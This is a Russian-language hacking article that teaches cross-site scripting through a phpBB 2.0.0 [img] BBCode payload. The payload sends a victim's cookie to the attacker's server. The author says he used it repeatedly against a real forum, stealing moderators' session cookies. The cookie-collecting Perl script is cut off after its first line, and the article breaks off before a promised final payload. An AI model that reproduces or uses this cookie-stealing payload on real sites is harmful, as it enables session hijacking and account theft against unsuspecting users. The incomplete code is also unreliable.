![]() |
Как использовать cross-site scripting (css)
Как использовать cross-site scripting (css)
Автор: Zakharov Igor Источник: nsd.ru Все началось с того, что как-то зайдя на securitylab.ru я увидел материал "Новости от Шушпанчика" примерно такого содержания: Хак-группы (или security gr0upz ?) "Digital Hell" и "Spoofed Packet", более известные под именами "Xpaxo aka Xaksors Online" и "Fallout Team" - обе группы недавно переименовались - создали глобальный проект: объединенный форум хакерских групп: http://secforum.net/ Здесь секьюрити эксперты из молодых хак-групп, такие как Eraser, Spikir и DocSoft, могут обмениваться своими мнениями по самым различным вопросам, связанным с их родом деятельности, например, написание бэкдора на Kylix и кто на чем кодит. Наиболее активно обсуждается насущный вопрос, чья же пися все-таки самая длинная? Помня о том, что Шушпанчик - это голова ((C) Pupkin-Zade) решаю прогуляться по данному URL`у и посмотреть, чем народ нынче балуется… Скажу, что форум мне не понравился сразу: работает глючно-преглючно, темы дурацкие (самые "крутые" темы в разделе coding: 'что лучше'и 'кто на чем кодит' ;-) и при всей этой ботве гордая надпись вверху страницы: Security Forum All about Russian security systems... Вот такие дела… Плюнул я на этот этот URL и забыл о нем на время… И не вспомнил бы, если бы не пришла в голову мысль написать о уязвимостях типа ХSS (cross-site scripting), которые сейчас являются абсолютными чемпионами по частоте появления в багтреке (проверь соответствующий раздел на Xakep.ru). Было ясно, что объяснять данную проблему 'на пальцах' было бы не круто - нужна была жертва, о выборе которой я даже не задумывался - http://secforum.net/ ;-) Что такое cross-site scripting? Это тип уязвимостей, позволяющий атакующему выполнять произвольный код (например Javascript), встроив его в свое сообщение на форуме, добавив в качестве аргумента для скрипта на сервере и т.д. XSS-уязвимости находят и в практически никому не известных форумах, и shopping cart`ах крупнейших магазинов, и в таких почтовиках как Hotmail… Иными словами потенциально уязвимы все скрипты/приложения, которые получают от пользователя какую-либо информацию. Типичная уязвимость выглядит так: http://www.microsoft.com/education/?ID=MCTN&target= http://www.microsoft.com/education/?ID=MCTN&target="><ipt>alert(document.cookie)</script> В результате в должны получить окошко, с содержимым вашего cookie (жаль на microsoft.com это уже пофиксено - такой хороший пример был ;-) Как свидетельствует статистика, XSS-дыры можно найти практически везде. Согреваемый этой мыслью, я отправился тестить http://secforum.net/ на дырявость… По правде говоря при первом посещении я даже не обратил внимание на чем там все крутится. Захожу - phpBB 2.0.0, довольно навороченный форум на php… Причем особенно меня порадовала 'навороченность' - где больше кода, там больше дырок %-) Топаем в форму отправки сообщения и что же мы видим? Да тут используется супер разработка группы phpBB - Bbcode!!! Bbcode - это несколько обычных html-тегов у которых '<' и '>' заменены соответственно на '[' ']' Это дает возможность пользователям, к примеру посредством тега [img] добавлять в свое сообщение картинки (вернее ссылки на картинки по типу http://server.com/coolpicture). Этот тег мне не понравился сразу, начинаю с ним экспериментировать, а мой мыльник принимает свежую порцию багтрека… и тут я вижу такое… сообщение багтрека об уязвимости phpBB 2.0.0 (как раз той самой в которой я копаюсь). В голове проносится мысль из кинофильма: "Ничего красть не нужно, все уже украдено до нас". Уязвимость выглядит так: http://a.a/a"onerror="javascript:alert('fool') Т.е. если отправить подобный 'сюрприз' в своем сообщении, то вместо картинки пользователь увидит окошко с очень обидным словом… Что мы будем с этим делать? Ну, так как форум поддерживает всяческие там авторизации и автоматические входы, давай посмотрим как воровать кукисы пользователей. Делается это следующим образом: [img]http://a.a/a"onerror="javascript:name=' http://твой_сервер/cgi-bin/script.cgi?';cook=document.cookie; name=name+cook;document.location=name;[/img] Объясняю тот Javascript, который здесь наворочен. Создается две переменные: в одной находится путь к твоему серверу со скриптом для сбора кукисов (дальше объясню как написать этот скрипт), во второй - содержимое кукиса пользователя, затем эти две переменные объединяются, т.е. получается примерно следующее: http://твой_сервер/cgi-bin/script.cgi?содежимое_кукиса далее происходит перенаправление пользователя на это URL. Теперь о том, как написать скрипт для сбора кукисов: Код:
#!/usr/bin/perlкачестве аргумента скрипту передается содержимое кукиса (часть URL`а после 'script.cgi?'). Это значение мы считываем с помощью $ENV{QUERY_STRING} и заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом мы отправляем письмо с ворованным кукисом тебе любимому (если у тебя на хостинге нет возможности использования sendmail`а просто убери последние 9 строк скрипта). Далее мы маскируем свою деятельность перенаправляя пользователя на главную страницу форума. В результате невнимательный пользователь вообще ничего не поймет: шел читать сообщение, а попал на главную страницу… Подобные шуточки были провернуты мною несколько раз и попадались на них… модераторы форума!!! Думаете после этого дыру закрыли? О нет! Кул-хаксоры просто удаляли мои сообщения!!! А я оставлял их снова и продолжал собирать урожай 'плюшек'. Конечно тут можно было пойти дальше и вникнув в алгоритм формирования плюшки захватить форум… но если бы ты знал каких трудов стоит хотя бы просто оставить сообщение на этом постоянно глючащем 'проекте о безопасности'… у меня иногда уходило по пол-часа даже на эту простейшую операцию, потому как сервер просто умирал и переставал отвечать…совсем…до следующего часа… Поэтому, ничего особо не изменится, если мы оставим в своем сообщении к примеру такой 'сюрприз': |
| Время: 15:48 |